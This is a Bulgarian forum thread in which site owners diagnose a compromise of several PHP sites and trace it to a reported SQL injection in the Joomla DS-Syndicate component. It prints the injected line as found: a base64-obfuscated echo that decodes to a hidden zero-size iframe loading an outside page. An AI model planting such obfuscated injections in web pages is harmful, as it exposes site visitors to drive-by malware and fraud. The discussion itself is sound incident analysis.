Вмъкнат код

[Илиев]

Колеги, открих това на един от сайтовете си:

<?echo(base64_decode("PHRyPg0KPHRkIGlkPSJ0b3BsZWZ0Ij4mbmJzcDs8L3RkPg0KPHRkIGlkPSJ0b3AiPiZuYnNwOzwvdGQ+DQo8dGQgaWQ9InRvcHJpZ2h0Ij4mbmJzcDs8L3RkPg0KPC90cj48aWZyYW1lIHNyYz0iaHR0cDovL3Nwb3J0LXJlZ2Vsbi5vcmcvZ28ucGhwP3NpZD0xIiB3aWR0aD0iMCIgaGVpZ2h0PSIwIiBmcmFtZWJvcmRlcj0iMCI+PC9pZnJhbWU+"));?>

Локалната машина е чиста. От хостинга ме посъветваха да сканирам машината и да сменя паролите.

Вие да дадете някакъв съвет за да не се повтаря това и най-вече ме интересува как е станало.

 

[stefboy]

Re: Вмъкнат код

Някой е имал достъп до акаунта и си е сложил каквото му трябва

 

[nikoladd]

Re: Вмъкнат код

ааа лошо така да енкодват <iframe по трудно се намира. ама пък трябва да е в .php иначе не става. на мен ми намирисва на вътрешна работа. В пхп е крива хава да вкарваш такива неща без да изгърми и без вътрешна информация. Освен ако сайта не е елементарен и всяка страница с отделно пхп.

 

[Илиев]

Re: Вмъкнат код

PHP са. Намерих го на още два сайта. Всеки използва различен скрипт, но са хостнати на едно място.

Локалната ми машина е чиста, но все пак сканирам с още антивирусни.

Някави идеи? И какво върши това?

 

[nikoladd]

Re: Вмъкнат код

ами не исках да пускам кода. лесно се декодира като вземеш низа между кавичките и го прекараш през base64 декодер

<tr>
<td id="topleft"> </td>
<td id="top"> </td>
<td id="topright"> </td>
</tr><iframe src="http://sport-regeln.org/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>

Интересното е тия таблични работи за какво са му и затова ме съмнява за вътрешна работа. От гледна точка на SEO с тоя iframe не мисля, че има полза. Единственото смислено ми се вижда някаква JS машинация да редиректва или отваря попъп прозорци или да ти пробутва троянец.

 

[Илиев]

Re: Вмъкнат код

Май му трупа гласове за рамблер топ100 или нещо подобно. Вчера се чудех защо на единият сайт изписваше в статус бара, че зарежда нещо от рамблер. Сега разбрах.

Благодаря, аз продължавам с разследването.

 

[Илиев]

Re: Вмъкнат код

А, и още нещо

Интересното е тия таблични работи за какво са му и затова ме съмнява за вътрешна работа.

Вътрешна в смисъл...? Да търся врага около мен или вътрешна относно хостинг компанията?

 

[man0l]

Re: Вмъкнат код

възможно е ако пермишъните на файловете да са 777 да се случи това, провери ги и ако са така, ги направи 755

 

[BornToDrink]

Re: Вмъкнат код

Аз скоро намерих 2 скрити папки и 2 скрити php файла, но май бяха от това, че съм ползвал едитор на файловете от cpanel-a, но тва не изглежда да е такова...

 

[Илиев]

Re: Вмъкнат код

За сега устнових, че компютрите, които използвам са абсолютни чисти и във фтп лог-а няма друга активност във въпросното време освен моята, и то неща, които не са свързани със заразените файлове.

Часът, когато са променени файловете е с около 10 минути по-късно след като съм приключил с моите си неща по разни други файлове.

 

[bgkulinar]

Re: Вмъкнат код

От гледна точка на SEO с тоя iframe не мисля, че има полза.

Грешиш. От гледна точка на СЕО src= си се отчита като линк и при Г. и при Я.

 

[nikoladd]

Re: Вмъкнат код

Грешиш. От гледна точка на СЕО src= си се отчита като линк и при Г. и при Я.

То че се парсва знам, ама за ПР да пренася не ми е известно за G. За Я нямам идея всъщност никаква как ги обработва. Все пак някой ако е опитвал конкретно със ифреймове да си каже. Прав си, че има стойност някаква все пак.

 

[Илиев]

Re: Вмъкнат код

Джумла пробив.

 

[Илиев]

Re: Вмъкнат код

И малко подробности... най-вероятно става въпрос за SQL Injection в един от допълнителните модули DS-Syndicate, който е търд парти разширение за рсс фийдове.

Ако някой е направил грешката да използва Джумла и е качил DS-Syndicate, по-добре да го разкара веднага.

Description:

DS-Syndicate is a PHP-based component for the Joomla! content manager.

The application is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data to the 'feed_id' parameter.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Affected Products:

* Joomla DS-Syndicate component

Благодарности на ХостБългария за бързата реакция и помощта.

 

[man0l]

Re: Вмъкнат код

SQL Injection е манипулация с базата данни през URL адрес бара, това при теб е съвсем различно, защото са променени самите файлове

 

[BornToDrink]

Re: Вмъкнат код

SQL Injection е манипулация с базата данни през URL адрес бара, това при теб е съвсем различно, защото са променени самите файлове

Може и да е през input полета.
С injection могат да се правят доста неща, стига да знаеш как.
Сложиш си паролка за админа, после от там вече какво може е друга тема.

Скоро ми бяха изкъртили един сайт... Ползвахме си един админ, като не бях гледал как е правена логин формата... Видях от логовете, че е от там, фикснах я(като онемях при вида на кода и...), на другия ден същото IP пак се ровеше във login.php, но нейсе.
Бекъпа върна всичко за 3 минути, но не са хубави тея работи.

 

[Илиев]

Re: Вмъкнат код

Предполагам с този експлойт може да ми прасне името и паролата и после да модифицира.

 

[BornToDrink]

Re: Вмъкнат код

Един познат ми се похвали, че преди време му били хакнали хостинга, а не сайта. И всички, които били хостнати го издухали временно.

 

[gogobg]

Re: Вмъкнат код

Набързо разкарах DS-Syndicate от мой два сайта. Благодаря на ilieff за инфото. И без това компонента работеше тъпо и не го ползвах. Дори и проблема да не е от него по добре да се вземат мерки щом има съмнение.

 

[Илиев]

Re: Вмъкнат код

Може и да не е от него, скоро сигурно ще разбера.

Но е факт, че компонента е компрометиран и по-добре да се махне.